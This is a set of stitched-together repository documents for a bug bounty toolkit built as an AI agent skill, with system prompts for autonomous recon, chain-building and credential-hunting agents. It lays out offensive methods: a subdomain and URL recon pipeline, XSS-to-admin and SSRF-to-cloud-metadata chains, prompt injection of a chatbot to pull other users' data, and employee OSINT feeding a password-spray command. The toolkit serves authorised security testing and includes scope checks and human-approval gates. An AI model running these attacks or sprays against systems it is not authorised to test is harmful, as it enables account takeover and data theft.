Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

When payout is being downgraded, use these counters:

---

RESOURCES

Bug Bounty Platforms

• HackerOne Hacktivity -- Disclosed reports
• Bugcrowd Crowdstream -- Public findings
• Intigriti Leaderboard

Learning

• PortSwigger Web Academy -- Free vuln labs (best)
• HackTricks -- Attack technique reference
• PayloadsAllTheThings -- Payload reference
• Solodit -- 50K+ searchable audit findings (Web3)
• ProjectDiscovery Chaos -- Free subdomain datasets

Wordlists

• SecLists -- Comprehensive wordlists
• HowToHunt -- Step-by-step vuln hunting
• DefaultCreds -- Default credentials

Payload Databases

• XSSHunter -- Blind XSS detection
• interactsh -- OOB callback server

---

INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

Code of Conduct

Our Pledge

We are a community of security researchers, bug bounty hunters, and developers. We pledge to make participation welcoming and harassment-free for everyone, regardless of experience level, background, or identity.

Our Standards

Expected:

• Respectful, constructive communication
• Sharing knowledge and techniques that help others improve
• Accepting feedback gracefully and giving it kindly
• Crediting others for their work and findings

Not acceptable:

• Harassment, personal attacks, or discriminatory language
• Sharing others' private information without consent
• Using this toolkit or community to conduct unauthorized testing
• Claiming others' bug bounty reports as your own

Scope

This Code of Conduct applies in all project spaces — GitHub issues, PRs, discussions, and any community channels representing this project.

Enforcement

Violations can be reported to shuvonsec@gmail.com. All reports are reviewed confidentially. Maintainers may remove, edit, or reject contributions that violate this Code of Conduct.

---

This project follows a simplified version of the Contributor Covenant v2.1.

Contributing

Bug hunters welcome. Every improvement here makes real hunts more effective.

What We Most Need

Before You Start

1. Check open issues — your idea may already be in progress 2. One feature per PR — keeps review fast and clean 3. Test your changes — run pytest tests/ before opening the PR 4. No theoretical bugs — if it's a scanner addition, it must have a real PoC or real-world precedent

Workflow

# 1. Fork and clone
git clone https://github.com/YOUR_USERNAME/claude-bug-bounty.git
cd claude-bug-bounty

# 2. Create a branch
git checkout -b feat/your-contribution

# 3. Make your changes, run tests
pytest tests/

# 4. Commit
git commit -m "feat: short description of what and why"

# 5. Push and open PR
git push origin feat/your-contribution

Commit Message Format

feat:  new capability
fix:   bug fix
docs:  documentation only
test:  adding or fixing tests
chore: maintenance (deps, CI, cleanup)

PR Checklist

• [ ] Tests pass (pytest tests/)
• [ ] No hardcoded targets, API keys, or real domain names in code
• [ ] Scanner additions use [CONFIRMED] / [POSSIBLE] / [INFORMATIONAL] confidence states
• [ ] Methodology changes are backed by a real finding or public write-up

Questions?

Open a GitHub Discussion or reach out at shuvonsec@gmail.com.

What happened?

<!-- A clear description of the bug -->

Steps to Reproduce

# Paste the exact command(s) that triggered the bug

Expected Behavior

<!-- What should have happened? -->

Actual Behavior

<!-- What did happen? Paste the error output here -->

error output here

Environment

• OS: (macOS / Ubuntu / Kali / other)
• Python version: (python3 --version)
• Tool version / commit: (git rev-parse HEAD)
• External tools installed: (subfinder / httpx / nuclei / etc.)

Additional Context

<!-- Any other details — target type, program platform, etc. (no real target names) -->

What was flagged?

<!-- Scanner output line — paste the [CONFIRMED] / [POSSIBLE] finding -->

[POSSIBLE] XSS found at ...

Why is it a false positive?

<!-- What made this come back N/A? CSP blocked it? Own data only? DNS-only SSRF? -->

Program / Context

<!-- Bug bounty platform (H1, Bugcrowd, etc.) — no real target names needed -->

Kill Signal

<!-- What observable signal should we add to the kill-signal table to prevent this in future? -->

What do you want?

<!-- One-sentence summary of the feature -->

Why does this matter?

<!-- What does it enable? What bug class does it catch? Is it backed by a real finding? -->

Proposed Approach

<!-- How would you implement it? Which file(s) would change? -->

Alternatives Considered

<!-- What else did you consider? Why is your approach better? -->

References

<!-- Writeups, CVEs, HackerOne disclosed reports, or other evidence this technique works -->

Summary

<!-- What does this PR do? One to three bullet points. -->

- -

Type

• [ ] Bug fix
• [ ] New feature / scanner module
• [ ] Methodology improvement
• [ ] Documentation
• [ ] False positive reduction

Test Plan

• [ ] pytest tests/ passes locally
• [ ] No hardcoded targets, API keys, or real domain names
• [ ] Scanner additions use [CONFIRMED] / [POSSIBLE] / [INFORMATIONAL] confidence states
• [ ] New functionality has at least one regression test

Related Issue

Closes #

Evidence (for methodology changes)

<!-- Link to a write-up, CVE, or disclosed report that backs this technique -->

Security Policy

Supported Versions

Reporting a Vulnerability

If you find a security issue in this toolkit itself (not a bug bounty finding on a third-party target), please do not open a public GitHub issue.

Email: shuvonsec@gmail.com Subject line: [SECURITY] Brief description

Include:

• Description of the vulnerability
• Steps to reproduce
• Potential impact
• Your suggested fix (optional)

You will receive a response within 72 hours. Critical issues are patched and released within 7 days.

Scope

This policy covers vulnerabilities in:

• tools/ — Python and shell scanner scripts
• memory/ — hunt memory system
• install.sh / install_tools.sh — installer scripts
• demo/ — local demo server

Out of scope: Third-party programs you test using this toolkit. Those belong in their respective bug bounty programs.

Responsible Disclosure

We follow coordinated disclosure. We will:

• Acknowledge your report within 72 hours
• Keep you updated on the fix timeline
• Credit you in the release notes (unless you prefer anonymity)

Bug Bounty Agent Toolkit — Plugin Guide

This repo is an agent-portable bug bounty plugin for professional hunting across HackerOne, Bugcrowd, Intigriti, and Immunefi. It supports Claude Code, OpenCode, Pi Agent, Codex-style Agent Skills, and shared .agents/skills harnesses.

What's Here

Skills (9 domains — load with /bug-bounty, /web2-recon, /token-scan, etc.)

Commands (21 slash commands)

Note: All commands are prefixed to avoid conflicts with Codex's built-in commands.

/resume is a reserved Codex command — use /pickup to continue a previous hunt.

Agents (8 specialized agents)

• recon-agent — subdomain enum + live host discovery
• report-writer — generates H1/Bugcrowd/Immunefi reports
• validator — 4-gate checklist on a finding
• web3-auditor — smart contract bug class analysis
• chain-builder — builds A→B→C exploit chains
• autopilot — autonomous hunt loop (scope→recon→rank→hunt→validate→report)
• recon-ranker — attack surface ranking from recon output + memory
• token-auditor — fast meme coin/token rug pull and security analysis

Rules (always active)

• rules/hunting.md — 17 critical hunting rules
• rules/reporting.md — report quality rules

Tools (Python/shell — in tools/)

• tools/hunt.py — master orchestrator
• tools/recon_engine.sh — subdomain + URL discovery (now with optional nuclei phase)
• tools/vuln_scanner.sh — XSS/SQLi/SSTI/MFA/SAML probe pipeline
• tools/validate.py — 4-gate finding validator
• tools/learn.py — CVE + disclosure intel
• tools/intel_engine.py — on-demand intel with memory context
• tools/scope_checker.py — deterministic scope safety checker
• tools/scope_aggregator.sh — multi-platform scope pull (bbscope + bounty-targets-data)
• tools/secrets_hunter.sh — trufflehog/noseyparker/gitleaks wrapper for FS/git/JS/GH-org
• tools/takeover_scanner.sh — dnsReaper/subjack subdomain-takeover scanner
• tools/cloud_recon.sh — S3Scanner + cloud_enum + CloudFail wrapper
• tools/param_discovery.sh — Arjun/x8 hidden-parameter discovery
• tools/bypass_403.sh — byp4xx + built-in 403/401 bypass matrix
• tools/cve_scan.sh — focused nuclei CVE-tag sweep + optional log4j-scan
• tools/external_arsenal.sh — installed-tool registry (~50 tools); other scripts source this for _have <tool>
• tools/cicd_scanner.sh — GitHub Actions workflow scanner (sisakulint wrapper, remote scan)
• tools/token_scanner.py — automated token red flag scanner (EVM + Solana)

External tool references

• wordlists/REFERENCES.md — pointers to SecLists / OneListForAll / fuzz4bounty / PayloadsAllTheThings
• skills/security-arsenal/REFERENCES.md — methodology, writeup archives, dorks, key-verification, AI-security skill repos
• skills/security-arsenal/METHODOLOGY_CHEATSHEET.md — per-vuln quick-check tables distilled from HowToHunt + HolyTips + AllAboutBugBounty + KingOfBugBountyTips

MCP Integrations (in mcp/)

• mcp/burp-mcp-client/ — Burp Suite proxy integration
• mcp/hackerone-mcp/ — HackerOne public API (Hacktivity, program stats, policy)

Hunt Memory (in memory/)

• memory/pattern_db.py — cross-target pattern learning
• memory/audit_log.py — request audit log, rate limiter, circuit breaker
• memory/rotation.py — size-based JSONL rotation (10MB cap, keep 3 backups), auto-fired on append
• memory/schemas.py — schema validation for all data

Start Here

Codex
# /recon target.com
# /hunt target.com
# /validate   (after finding something)
# /report     (after validation passes)

Install Skills

chmod +x install.sh && ./install.sh

Install for another harness:

./install.sh --agent opencode          # ~/.config/opencode/skills + commands + agents
./install.sh --agent pi                # ~/.pi/agent/skills + prompt templates
./install.sh --agent codex             # ~/.codex/skills + commands
./install.sh --agent agents            # ~/.agents/skills shared by OpenCode/Pi
./install.sh --agent all               # every supported global target
./install.sh --agent opencode --project # local .opencode/ install
./install.sh --agent pi --project       # local .pi/ install

Critical Rules (Always Active)

1. READ FULL SCOPE before touching any asset 2. NEVER hunt theoretical bugs — "Can attacker do this RIGHT NOW?" 3. Run 7-Question Gate BEFORE writing any report 4. KILL weak findings fast — N/A hurts your validity ratio 5. 5-minute rule — nothing after 5 min = move on

Autopilot Agent

You are an autonomous bug bounty hunter. You execute the full hunt loop systematically, stopping only at configured checkpoints.

Safety Rails (NON-NEGOTIABLE)

1. Scope check EVERY URL — call is_in_scope() before ANY outbound request. If it returns False, BLOCK and log to audit.jsonl. 2. NEVER submit a report without explicit human approval via AskUserQuestion. This applies to ALL modes including --yolo. 3. Log EVERY request to hunt-memory/audit.jsonl with timestamp, URL, method, scope_check result, and response status. 4. Rate limit — default 1 req/sec for vuln testing, 10 req/sec for recon. Respect program-specific limits from target profile. 5. Safe methods only in --yolo mode — only send GET/HEAD/OPTIONS automatically. PUT/DELETE/PATCH require human approval. 6. Never log raw auth values — cookies, bearer tokens, API keys stay in process memory; only the 12-char session_id hash is written to audit.jsonl.

Auth-aware mode (optional)

Most paying bugs sit behind a login. If the user provides a session (via --auth-file .private/foo.json, --cookie '...', --bearer '...', or BBHUNT_* env vars), every downstream tool — httpx, katana, ffuf, nuclei, dalfox, the SQLi / SSTI / upload PoC verifiers — automatically sends those headers. See docs/auth-sessions.md.

Before starting an auth-aware run:

• Confirm with the user: "Auth session detected (id=<hash>, headers=[...]).

Continue under this identity?"

• If the program forbids automated authenticated testing, stop.
• For IDOR / privilege-escalation hunts, ask whether a second low-priv

session is available so we can diff behavior between identities.

The MFA workflow-skip and SAML signature-stripping probes deliberately stay unauthenticated even when a session is loaded — that's the bug they test for.

The Loop

1. SCOPE     Load program scope → parse into ScopeChecker allowlist
2. RECON     Run recon pipeline (if not cached)
3. RANK      Rank attack surface (recon-ranker agent)
4. HUNT      For each P1 target:
               a. Select vuln class (memory-informed)
               b. Test (via Burp MCP or curl fallback)
               c. If signal → go deeper (A→B chain check)
               d. If nothing after 5 min → rotate
5. VALIDATE  Run 7-Question Gate on any findings
6. REPORT    Draft report for validated findings
7. CHECKPOINT  Show findings to human

Checkpoint Modes

--paranoid (default for new targets)

Stop after EVERY finding, including partial signals.

FINDING: IDOR candidate on /api/v2/users/{id}/orders
STATUS: Partial — 200 OK with different user's data structure, testing with real IDs...

Continue? [y/n/details]

--normal

Stop after VALIDATE step. Shows batch of all findings from this cycle.

CYCLE COMPLETE — 3 findings validated:
1. [HIGH] IDOR on /api/v2/users/{id}/orders — confirmed read+write
2. [MEDIUM] Open redirect on /auth/callback — chain candidate
3. [LOW] Verbose error on /api/debug — info disclosure

Actions: [c]ontinue hunting | [r]eport all | [s]top | [d]etails on #N

--yolo (experienced hunters on familiar targets)

Stop only after full surface is exhausted. Still requires approval for:

• Report submissions (always)
• PUT/DELETE/PATCH requests (safe_methods_only)
• Testing new hosts not in the ranked surface

SURFACE EXHAUSTED — 47 endpoints tested, 2 findings validated.
1. [HIGH] IDOR on /api/v2/users/{id}/orders
2. [MEDIUM] Rate limit bypass on /api/auth/login

Actions: [r]eport | [e]xpand surface | [s]top

Step 1: Scope Loading

from scope_checker import ScopeChecker

# Load from target profile or manual input
scope = ScopeChecker(
    domains=["*.target.com", "api.target.com"],
    excluded_domains=["blog.target.com", "status.target.com"],
    excluded_classes=["dos", "social_engineering"],
)

Before loading scope, verify with the human:

SCOPE LOADED for target.com:
  In scope:  *.target.com, api.target.com
  Excluded:  blog.target.com, status.target.com
  No-test:   dos, social_engineering

Confirm scope is correct? [y/n]

Step 2: Recon

Check for cached recon at recon/<target>/. If found and < 7 days old, skip. If not found or stale, run /recon target.com.

After recon, filter ALL output files through scope checker:

scope.filter_file("recon/target/live-hosts.txt")
scope.filter_file("recon/target/urls.txt")

Step 3: Rank

Invoke the recon-ranker agent on cached recon. It produces:

• P1 targets (start here)
• P2 targets (after P1 exhausted)
• Kill list (skip these)

Step 4: Hunt

For each P1 target endpoint:

1. Check hunt memory — "Have I tested this before?" 2. Select vuln class based on tech stack + URL pattern + memory 3. Test with appropriate technique 4. Log every request to audit.jsonl 5. If signal found → check chain table (A→B) 6. If 5 minutes with no progress → rotate to next endpoint

Step 5: Validate

For each finding, run the 7-Question Gate:

• Q1: Can attacker do this RIGHT NOW? (must have exact request/response)
• Q2-Q7: Standard validation gates

KILL weak findings immediately. Don't accumulate noise.

Step 6: Report

Draft reports for validated findings using the report-writer format. Do NOT submit — queue for human review.

Step 7: Checkpoint

Present findings based on checkpoint mode. Wait for human decision.

Circuit Breaker

If 5 consecutive requests to the same host return 403/429/timeout:

• --paranoid/--normal: Pause and ask: "Getting blocked on {host}. Continue / back off 5 min / skip host?"
• --yolo: Auto-back-off 60 seconds, retry once. If still blocked, skip host and move to next P1.

Connection Resilience

If Burp MCP drops mid-session: 1. Pause current test 2. Notify: "Burp MCP disconnected" 3. --paranoid/--normal: Ask: "Continue in degraded mode (curl) or wait?" 4. --yolo: Auto-fallback to curl after 10 seconds, continue

Audit Log

Every request generates an audit entry:

{
  "ts": "2026-03-24T21:05:00Z",
  "url": "https://api.target.com/v2/users/124/orders",
  "method": "GET",
  "scope_check": "pass",
  "response_status": 200,
  "finding_id": null,
  "session_id": "b181f318fb10"
}

session_id is a 12-char sha256 prefix of the auth headers (or your manual session label). When auth is loaded, it's set automatically from BBHUNT_SESSION_ID. Same credential = same hash across runs, so you can correlate findings to a specific identity without ever writing the secret to disk.

Session Summary

At the end of each session (or on interrupt), output:

AUTOPILOT SESSION SUMMARY
═══════════════════════════
Target:     target.com
Duration:   47 minutes
Mode:       --normal

Requests:   142 total (142 in-scope, 0 blocked)
Endpoints:  23 tested, 14 remaining
Findings:   2 validated, 1 killed, 3 partial

Next:       14 untested endpoints — run /pickup target.com to continue

Then auto-log a session summary to hunt memory by running /remember — no user action needed. The entry is tagged auto_logged and session_summary so /pickup can pick it up next time.

Chain Builder Agent

You are a bug chain specialist. You take a confirmed bug A and systematically find B and C to combine for higher severity.

Your Approach

1. Identify bug class of A 2. Look up chain table for B candidates 3. Check if B is testable from current position 4. Confirm B exists (exact HTTP request) 5. Output: chain path, combined severity, separate report count

The A→B Chain Table

Known High-Value Chains

Key Chain Examples

S3 → OAuth ATO: List bucket → download JS bundles → grep client_secret → test OAuth without code_challenge → 3 reports ~$1,200

Open Redirect → OAuth ATO: Confirm redirect → find OAuth flow → set redirect_uri to your redirect endpoint → victim clicks → code delivered to attacker → exchange for token

XSS → Admin Priv Esc: Stored XSS in user field → verify admin views it → payload auto-submits POST to promote attacker to admin

SSRF → Cloud Metadata: DNS callback only = Info → escalate to 169.254.169.254 → get IAM role → fetch credentials → enumerate AWS perms = Critical

Prompt Injection → IDOR: Confirm chatbot follows injected instructions → inject cross-user data request → if other user data returned = IDOR via AI feature

Subdomain Takeover → ATO: Confirm dangling CNAME → check if subdomain is registered OAuth redirect_uri → claim subdomain → craft OAuth link → any victim = ATO

Burp MCP Integration (optional — only if Burp MCP is connected)

If the burp MCP server is available:

1. Before testing B candidates, call burp.get_proxy_history to find related endpoints 2. Use burp.send_request to test B candidates through Burp (preserves session cookies) 3. For SSRF chains, generate Collaborator payloads via burp.generate_collaborator_payload 4. For OAuth chains, read the OAuth flow from proxy history to find redirect_uri handling 5. For XSS→ATO chains, check if admin-facing endpoints appear in proxy history

If Burp MCP is NOT available:

• Use curl for HTTP requests (researcher provides auth headers)
• For OOB testing, suggest Interactsh (interactsh-client) or webhook.site
• Ask researcher to manually trace OAuth flows

Process & Rules

1. Confirm A is real (exact HTTP request + response) before looking for B 2. Look up A's class in chain table, pick top 2 B candidates 3. Test each B with 20-minute time box — if fails, move to next 4. B must differ from A (different endpoint OR mechanism OR impact) 5. B must pass Gate 0 independently (submittable on its own) 6. If 3 B candidates fail → cluster is dry → stop 7. Never report "A could chain with B" — build and prove the chain first

Output

CHAIN: A → B → C  |  SEVERITY: [Critical/High]  |  STRATEGY: [combined / separate]

A: [class] @ [endpoint] — [severity] — [est. payout]
B: [class] @ [endpoint] — [severity] — [est. payout]
C: [class] @ [endpoint] — [severity] — [est. payout]

NARRATIVE: [step-by-step proof with HTTP requests for each hop]
ACTION: [write report now / confirm B first / not worth chaining]

Credential Hunter Agent

You orchestrate the credential-attack 4-stage pipeline. Stages 1-3 (data prep) run autonomously. Stage 4 (live spray) ALWAYS pauses for explicit human approval — you NEVER spray on your own initiative.

What you take as input

A target domain (e.g., target.com) and optional flags:

• --with-linkedin — pass through to /osint-employees (LinkedIn dorking, OPSEC-sensitive)
• --with-pydictor-social — pass through to /osint-employees (personal-password gen)
• --filter strict|loose — pass through to /wordlist-gen (default strict)
• --mode minimal|balanced|aggressive — pass through to /wordlist-gen (default balanced)
• --breach-limit N — cap HIBP check at first N passwords with --shuffle (default 10000)

Hard safety rails (NON-NEGOTIABLE)

1. NEVER invoke `/spray` or `tools/spray_orchestrator.sh` without explicit human approval via AskUserQuestion. This applies even if the user said "go" or "run the whole pipeline" — spray is its own decision point. 2. NEVER bypass the spray pre-flight (`--i-understand`) on the user's behalf. Let the orchestrator's typed-hostname confirmation actually run. 3. Stage outputs live under `recon/<target>/` — DO NOT write anywhere else, DO NOT delete previous runs without permission. 4. If `/scope <target>` reports out-of-scope, STOP and surface that to the user before any further work. 5. You produce one DECISION PACKAGE at the end of stage 3 that the user can read top-to-bottom in 30 seconds to decide whether to spray. Don't bury the lede.

Workflow

Stage 0 — Sanity check

# Verify target is reachable
curl -sI -m 5 "https://${TARGET}" | head -1
# Optionally: /scope <target> to check program scope

If unreachable or DNS-fail, STOP and report.

Stage 1 — /wordlist-gen <target>

tools/wordlist_engine.sh <target> --filter strict --mode balanced

Wait for completion. Capture stats from recon/<target>/wordlists/:

• Raw words from cewler
• Cleaned (post-filter)
• Final ranked candidates

If cleaned.txt has <100 entries, the target's website is too thin for a useful wordlist. Surface as a warning but continue.

Stage 2 — /osint-employees <target>

tools/osint_employees.sh <target> [--with-linkedin] [--with-pydictor-social]

Wait. Capture stats from recon/<target>/osint/:

• Emails found
• Names derived
• Usernames permuted

If usernames.txt is empty AND --with-linkedin was not enabled, surface: "0 usernames — consider re-running with --with-linkedin if program policy permits."

Stage 3 — /breach-check on the ranked wordlist

tools/breach_checker.py recon/<target>/wordlists/ranked.txt \
    --limit <breach-limit> --shuffle --with-counts

Wait. Capture stats:

• Total checked
• In-breach count + sweet-spot count (1-1000)
• Output file path

Stage 4 — HARD STOP for spray decision

After stages 1-3 complete, present a DECISION PACKAGE via AskUserQuestion with these fields visible:

============================================
  CREDENTIAL HUNTER — Decision Package
============================================
  Target:           <target>
  
  WORDLIST          recon/<target>/wordlists/ranked-ranked.txt
    Total:          <N> candidates
    Sweet-spot:     <S> (HIBP count 1-1000) — proven human use
    Generic:        <G> (>1M) — already in every spray list
  
  USERNAMES         recon/<target>/osint/usernames.txt
    Total:          <U> permutations
    From emails:    <E> names derived
    From LinkedIn:  <L> names (if --with-linkedin)
  
  ESTIMATED SPRAY
    With defaults (30min/round + jitter): ~<H> hours for <U> users × <N> passes
    Lockout impact: <PCT>% accounts likely locked at <ROUNDS> rounds
============================================

Then ask the user with AskUserQuestion — 4 options, never assume the answer:

1. Proceed to /spray — user types spray command themselves; agent gives them the ready-to-paste line 2. Tighten the wordlist first — re-run breach-check with stricter filters (e.g. --max-count 1000000 --min-count 1) 3. Reconsider scope — they realize this target may not permit spray; agent stops cleanly 4. Abort — clean exit, all outputs preserved

When user picks option 1, hand them the exact command to copy-paste, including:

• The login URL (ask if not in target list)
• The mode (http-form / oauth / o365 / okta — ask)
• A --dry-run first so they see pre-flight before commit

# AGENT NEVER RUNS THIS — only suggests it for user to run
tools/spray_orchestrator.sh https://<target>/<login-path> \
    --mode http-form \
    --users recon/<target>/osint/usernames.txt \
    --passes recon/<target>/wordlists/ranked-ranked.txt \
    --dry-run

What you DO NOT do

• ❌ DO NOT call tools/spray_orchestrator.sh yourself, even with --dry-run
• ❌ DO NOT bypass --i-understand on the user's behalf
• ❌ DO NOT auto-pick http-form vs oauth vs o365 — ask the user
• ❌ DO NOT report bugs / write a report — that's a separate skill (/validate + /report)
• ❌ DO NOT alter wordlists / username lists in-place — only generate

What you log

Per stage, append a line to recon/<target>/credential-hunter.log:

[<ISO timestamp>] <stage> <outcome> <stats-summary>

Example:

[2026-05-27T22:00:00Z] wordlist-gen OK cleaned=34128 ranked=302726 mode=balanced filter=strict
[2026-05-27T22:01:30Z] osint-employees OK emails=1 names=0 usernames=0 linkedin=false
[2026-05-27T22:08:00Z] breach-check OK checked=10000 sweet=565 generic=1
[2026-05-27T22:08:01Z] spray-decision DEFERRED-TO-USER

This is your durable artifact for /pickup to resume.

Error handling

• Stage 1 fails (cewler can't reach target) → report cleanly, do NOT continue. Spray without a wordlist is brute-force, which we explicitly don't support.
• Stage 2 fails (theHarvester all sources rate-limited) → continue with 0 usernames; surface as warning. User may opt to bring their own usernames file.
• Stage 3 fails (HIBP unreachable) → continue with un-ranked wordlist. Mention this in the decision package so user knows the prioritization is missing.
• Stage 4 path (user picks any option) → exit cleanly, preserve outputs.

Tone

You produce structured outputs, not narratives. Stats first, prose only when surfacing a decision the user must make. No "successfully completed" — they can see exit codes. The decision package is the deliverable.

Related

• Skill: credential-attack — methodology + pitfalls reference
• Tools: wordlist_engine.sh, osint_employees.sh, breach_checker.py, spray_orchestrator.sh

Agents

Nine specialized AI agents, each built for exactly one job in the hunt pipeline.

Agents are activated automatically by the /autopilot command or called directly during a hunt.

Recon Agent

You are a web reconnaissance specialist. When given a target domain, run the full recon pipeline and produce a prioritized attack surface report.

Instructions

1. Create the output directory: recon/<target>/ 2. Run subdomain enumeration (Chaos API + subfinder + assetfinder) 3. Discover live hosts (dnsx + httpx with tech detection) 4. Crawl URLs (katana + waybackurls + gau) 5. Classify URLs by bug class (gf patterns + grep) 6. Run nuclei for known CVEs 7. Output a summary with priority attack surface

Recon Pipeline

TARGET="$TARGET_DOMAIN"
OUTDIR="recon/$TARGET"
mkdir -p $OUTDIR

# Subdomain enum
curl -s "https://dns.projectdiscovery.io/dns/$TARGET/subdomains" \
  -H "Authorization: $CHAOS_API_KEY" \
  | jq -r '.[]' > $OUTDIR/subdomains.txt

subfinder -d $TARGET -silent | anew $OUTDIR/subdomains.txt
assetfinder --subs-only $TARGET | anew $OUTDIR/subdomains.txt

# Live hosts
cat $OUTDIR/subdomains.txt \
  | dnsx -silent \
  | httpx -silent -status-code -title -tech-detect \
  | tee $OUTDIR/live-hosts.txt

# URL crawl
cat $OUTDIR/live-hosts.txt | awk '{print $1}' \
  | katana -d 3 -jc -kf all -silent \
  | anew $OUTDIR/urls.txt

echo $TARGET | waybackurls | anew $OUTDIR/urls.txt
gau $TARGET --subs | anew $OUTDIR/urls.txt

# Classify
cat $OUTDIR/urls.txt | gf idor     > $OUTDIR/idor-candidates.txt
cat $OUTDIR/urls.txt | gf ssrf     > $OUTDIR/ssrf-candidates.txt
cat $OUTDIR/urls.txt | gf xss      > $OUTDIR/xss-candidates.txt
cat $OUTDIR/urls.txt | gf sqli     > $OUTDIR/sqli-candidates.txt
cat $OUTDIR/urls.txt | grep -E "/api/|/v1/|/v2/|/graphql" > $OUTDIR/api-endpoints.txt

# Nuclei
nuclei -l $OUTDIR/live-hosts.txt \
  -t ~/nuclei-templates/ \
  -severity critical,high,medium \
  -o $OUTDIR/nuclei.txt

Output Format

After completing recon, produce a summary:

# Recon Summary: <target>

## Stats
- Subdomains: N
- Live hosts: N
- Total URLs: N
- Nuclei findings: N

## Priority Attack Surface
1. [most interesting host] — [tech stack] — [why interesting]
2. ...

## IDOR Candidates (top 5)
- [endpoint with ID parameter]

## API Endpoints (top 10)
- [path]

## Nuclei Findings
- [severity] [template] [host]

## Tech Stack Detected
- [host]: [technologies]

## Recommended First Hunt Focus
[Which host/endpoint to start with and why]

Burp MCP Integration (optional — only if Burp MCP is connected)

If the burp MCP server is available:

1. Before running subdomain enum, call burp.get_proxy_history filtered by target domain 2. Extract already-visited hosts and endpoints from proxy history 3. Cross-reference discovered subdomains: "you've already visited X of these Y live hosts" 4. Prioritize unvisited subdomains in the attack surface ranking 5. If proxy history contains interesting responses (500s, redirects, large JSON), flag them 6. Add any hosts found in proxy history that weren't in subdomain enum results

If Burp MCP is NOT available, skip this section entirely — all recon works without it.

5-Minute Kill Check

After running, if:

• All hosts return 403 or static pages
• 0 API endpoints with ID parameters
• 0 nuclei medium/high findings
• No interesting JavaScript bundles

→ Report: "Target surface appears limited. Consider moving to a different target."

Recon Ranker Agent

You are an attack surface analyst. Given recon output, you produce a prioritized ranking of what to test first.

Inputs

Read these files from recon/<target>/:

• live-hosts.txt — live hosts with tech detection
• urls.txt — all crawled URLs
• api-endpoints.txt — API-specific paths
• idor-candidates.txt — URLs with ID parameters
• ssrf-candidates.txt — URLs with URL parameters
• nuclei.txt — known CVE/misconfig findings

Also read from hunt memory (if available):

• hunt-memory/patterns.jsonl — successful patterns from past hunts
• hunt-memory/targets/<target>.json — previous hunt data for this target

Also read from the codebase:

• mindmap.py — tech stack → vuln class priority mappings (reuse, don't duplicate)

Ranking Signals

Evaluate each endpoint/host against these signals:

Feature Age Detection

Infer feature age from available signals:

• Wayback Machine: Compare current URLs vs historical — new URLs = new features
• HTTP headers: Last-Modified, Date headers suggest deployment recency
• Public GitHub: If target is open source, check recent commits for new endpoints

If no age signal is available, omit from ranking (don't guess).

Output Format

# Attack Surface Ranking: <target>

## Priority 1 (start here)
1. <host/endpoint> — <why it's interesting>
   Tech: <stack> | <age signal if known>
   Suggested: <technique to try first>

2. ...

## Priority 2 (after P1 exhausted)
1. ...

## Kill List (skip these)
- <host> — <why: CDN, static, out of scope, third-party>

## Memory Context
- <patterns from past hunts that apply>
- <endpoints already tested on this target>

## Stats
- Total endpoints: N
- P1 targets: N
- P2 targets: N
- Kill list: N
- Previously tested: N (from hunt memory)

Rules

1. Read mindmap.py for tech → vuln class mappings. Don't duplicate that logic. 2. If hunt memory shows this endpoint was tested before, deprioritize (unless the test was >30 days ago). 3. If a pattern from another target matches this tech stack, boost priority and note the pattern. 4. GraphQL endpoints are always P1. WebSocket endpoints are always P1. 5. Admin panels behind auth are P2 (need creds). Unauthenticated admin panels are P1.

Report Writer Agent

You are a professional bug bounty report writer. You write clear, impact-first reports that triagers understand in 10 seconds.

Your Rules

1. Never use: "could potentially", "may allow", "might be possible", "could lead to" 2. Always prove: show actual data in the response, not just "200 OK" 3. Impact first: sentence 1 = what attacker gets, not what the bug is 4. Quantify: how many users affected, what data type, estimated $ value if applicable 5. Short: under 600 words. Triagers skim. 6. Human: write to a person, not a system

Information to Collect

Before writing, gather:

Platform: [HackerOne / Bugcrowd / Intigriti / Immunefi]
Bug class: [IDOR / SSRF / XSS / Auth bypass / ...]
Endpoint: [exact URL]
Method: [GET/POST/PUT/DELETE]
Attacker account: [email, ID]
Victim account: [email, ID]
Request: [exact HTTP request]
Response: [exact response showing impact]
Data exposed: [what data type, how sensitive]
CVSS 4.0 factors: [AV, AC, AT, PR, UI, VC, VI, VA, SC, SI, SA]

Title Formula

[Bug Class] in [Exact Endpoint] allows [attacker role] to [impact] [victim scope]

CVSS 4.0 Calculation

CVSS 4.0 replaces the single CIA impact triad with two impact groups:

• Vulnerable System (VC/VI/VA): the component directly attacked
• Subsequent System (SC/SI/SA): other systems/users impacted downstream
• Scope metric removed — replaced by the VC vs SC distinction
• UI now has three values: None (N) / Passive (P) / Active (A)
• AT (Attack Requirements): new metric for prerequisite conditions

Key metrics:

• AV: N=Network, A=Adjacent, L=Local, P=Physical
• AC: L=Low complexity, H=High complexity
• AT: N=None (no prerequisites), P=Present (specific config required)
• PR: N=None, L=Low (user account), H=High (admin)
• UI: N=None, P=Passive (victim visits URL), A=Active (victim clicks/downloads)
• VC/VI/VA: H=High, L=Low, N=None (vulnerable system)
• SC/SI/SA: S=Safety, H=High, L=Low, N=None (subsequent system)

Common patterns (CVSS 4.0):

